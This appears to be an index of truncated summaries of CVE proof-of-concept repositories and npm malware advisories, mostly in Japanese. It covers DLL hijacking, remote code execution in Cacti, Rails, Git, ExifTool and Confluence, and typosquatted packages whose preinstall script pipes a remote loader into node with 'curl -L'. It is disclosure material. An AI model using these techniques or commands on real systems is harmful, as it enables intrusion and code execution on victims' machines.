CVE-2024-39069

ifood 주문 관리자 'Gestor de Peddios.exe' - DLL 하이재킹 공격자는 합법적인 'd3d12.dll'이 발견되기 전에 애플리케이션이 검색하는 디렉터리에 악성 DLL 'd3d12.dll'을 배치합니다. 애플리케이션이 실행되면 합법적인 DLL 대신 악성 DLL을 로드하여 공격자가 애플리케이션의 컨텍스트에서 임의의 코드를 실행할 수 있게 됩니다. 공급업체 홈페이지: https://gestordepedidos.ifood.com.br/ 구글 드라이브:...

CVE-2022-46169-Exploit

CVE-2022-46169 PoC - Cacti 1.2.22における認証不要のリモートコード実行 このリポジトリには、Cacti 1.2.22に影響するCVE-2022-46169のエクスプロイトが含まれています。この脆弱性により、認証されていない攻撃者が影響を受けるシステム上で任意のコードを実行できるようになります。 このエクスプロイトがどのように可能であるかについての詳細な解説は、こちらの Rapid7の記事を参照してください。非常に詳細に説明されています。 私はこのコードを、教育目的でHack The...

CVE-2017-6516-mcsiwrapper-

CVE-2017-6516 CVE-2017-6516 は、MagniCorp SysInfo のバージョン 10-H64 未満の .mcsiwrapper バイナリを標的とする特権昇格の脆弱性です。このバイナリに SUID ビットが設定され、かつ古いバージョンである場合、ユーザーはバイナリの所有者（多くの場合 root）として任意のコードを実行できる可能性があります。 必要条件 バイナリ .mcsiwrapper に setuid が設定されている必要があります: $ ls -l .mcsiwrapper -rwsr-xr-x 1 root root .mcsiwrapper バイナリ...

CVE-2016-2098

CVE-2016-2098 Action Pack in Ruby on Rails before 3.2.22.2, 4.x before 4.1.14.2, and 4.2.x before 4.2.5.2 allows remote attackers to execute arbitrary Ruby code by leveraging an application's unrestricted use of the render method RCE https://nvd.nist.gov/vuln/detail/CVE-2016-2098 使用 git clone...

heroku-CVE-2013-0333

heroku-CVE-2013-0333 すべてのHerokuアプリを調査し、脆弱性のあるバージョンのRailsを実行しているか確認します。 背景 Ruby on Rails フレームワークで深刻なセキュリティ脆弱性が発見されました。この脆弱性は、Rails 2.3 および 3.0 を実行しているほぼすべてのアプリケーションに影響を与え、パッチが提供されています。 Rails開発者は、このスクリプトを実行することで、影響を受けるすべてのHerokuアプリケーションの完全なリストを取得できます。以下のRailsバージョンがパッチ適用済みで、この脆弱性から安全であると見なされています：...

CVE-2026-103065 WordPress Kirki plugin <= 6.3.1 - Arbitrary Code Execution vulnerability

Improper Validation of Specified Quantity in Input vulnerability in Themeum Kirki kirki allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Kirki: from n/a through 6.3.1...

CVE-2024-7954POC

CVE-2024-7954POC SPIP 4.30-alpha2、4.2.13、4.1.16 より前のバージョンで使用されている porteplume プラグインには任意コード実行の脆弱性が存在します。リモートの未認証の攻撃者は、巧妙に細工された HTTP リクエストを送信することで、SPIP ユーザーとして任意の PHP コードを実行できます。...

CVE-2017-9606

CVE-2017-9606 整合性、信頼性のチェックが不十分であり、更新フォルダに対するユーザー権限が低いため、ローカルユーザーは任意の実行コードを含む偽のViPNet更新ファイルを作成し、ViPNet更新フォルダに配置できます。 偽の更新ファイルをViPNet更新フォルダに配置した後、ViPNet更新システムはそれらをシステムまたはローカル管理者権限で実行します 3.x - ローカル管理者権限 4.x - システム権限 影響を受けるバージョン: Windows向けViPNet Client/Coordinator - 4.3.2 42442未満のすべての4.xおよび3.xバージョン。...

CVE-2025-48384

CVE-2025-48384の概要...

CVE-2024-32002-PoC

CVE-2024-32002-PoC このリポジトリには、Gitの脆弱性CVE-2024-32002を作成および実証するためのスクリプトやコマンドが含まれています。この脆弱性により、攻撃者は被害者のマシン上で任意のコードを実行することが可能です。 詳細については、以下のブログ記事を参照してください: https://www.nishanthanand.xyz/CVE-2024-32002-PoC...

CVE-2021-22204

CVE-2021-22204 - ExifTool 任意代码実行 CVE-2021-22204 の改良版 Proof-of-Concept です。これは ExifTool バージョン 7.44 から 12.23 における脆弱性で、悪意のある DjVu ファイルを処理する際に任意のコード実行を可能にします。 クレジット これは派生作品です。脆弱性および元のエクスプロイトは私のものではありません。 役割| 誰 ---|--- 脆弱性の発見者| William Bowling @wcbowling、GitLab バグ報奨金プログラムを通じて報告 — 2021年4月 オリジナル PoC 作成者|...

CP-PLUS-EZ-P21-CVE-2026-65893-65894

🔐 CP PLUS EZ-P21 IPカメラのセキュリティ分析 CVE-2026-65893 CVE-2026-65894 任意コード実行および不適切な認証 – CP PLUS EZ-P21 IP Camera 概要 このリポジトリは、CP PLUS EZ-P21 IP Camera において特定された2件のセキュリティ脆弱性を文書化したものです。この製品は、映像監視やカメラ機能・スナップショットへのネットワーク経由アクセスに使用されるIPベースの監視カメラです。 両件は責任ある開示（responsible...

CHIRP-CodeExecution_via_Malicious_ImageFile

CHIRP — Arbitrary Code Execution via eval in Kenwood ITM Driver Product: CHIRP - An open-source project for programming Ham Radios. Affected Versions: URL: https://github.com/kk7ds/chirp, https://chirpmyradio.com Affected Versions: = chirp-next-20260814 CWE: CWE-95 Eval Injection Overview CHIRP's...

Malicious code in @nagular/core (npm)

@nagular/[email protected] impersonates @angular/core by name only; its code is an unrelated library described as "Core Libs" and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L...

Malicious code in @angularr/cli (npm)

@angularr/[email protected] impersonates @angular/cli it copies the code and metadata of @angular/cli, including the ng binary and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L...

cve-2025-2082-POV

CVE-2025-2082 – 関数ポインタ上書きPoV（VCSECスタイル） このリポジトリは、TeslaのVCSEC （Vehicle Controller Security）コンポーネントで発見されたCVE-2025-2082に着想を得た、重大なメモリ破壊の欠陥をシミュレートするProof of Vulnerability（PoV）を示しています。 この脆弱性により、攻撃者はmemcpy操作中の符号付き整数から符号なし整数への変換バグと、不適切なメモリ境界検証を悪用して、関数ポインタ を上書きできます。 このPoVが示すこと...

Malicious code in express-enhanced (npm)

[email protected] impersonates express it copies express's package metadata, including the description "Fast, unopinionated, minimalist web framework" and author TJ Holowaychuk and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L...

cve-2021-25646

Apache Druid リモートコード実行 脆弱性概要 Apache Druid は公式セキュリティアップデートを公開し、リモートコード実行の脆弱性（CVE-2021-25646）を報告しました。Apache Druid はデフォルトで認証が不足しているため、攻撃者は特別に細工したリクエストを送信し、Druid サーバーのプロセス権限を利用して任意のコードを実行する可能性があります。 Apache Druid は Java...

CVE-2020-12124

IoTエクスプロイトの構造：ハンズオンからRCEまで 原文はこちら：https://www.klogixsecurity.com/scorpion-labs-blog/anatomy-of-an-iot-exploit-from-hands-on-to-rce 執筆者：David E. Baker、公開日：2023年6月1日 はじめに この調査は、2020年6月時点のWavlink Wireless-AC1200...

cve-2023-22527

Confluenceメモリ内での任意コード実行 CVE-2023-22527 は、Atlassian Confluence に影響を与える広く知られた脆弱性です。この脆弱性のほとんどのエクスプロイトは、オペレーティングシステムのコマンドを実行するために freemarker.template.utility.Execute を使用しますが、それよりもはるかに優れた方法があります。このリポジトリには、ディスクに触れることなく（少なくともユーザーが指示するまでは）ペイロードを実行する、CVE-2023-22527 の go-exploit 実装が3つ含まれています。...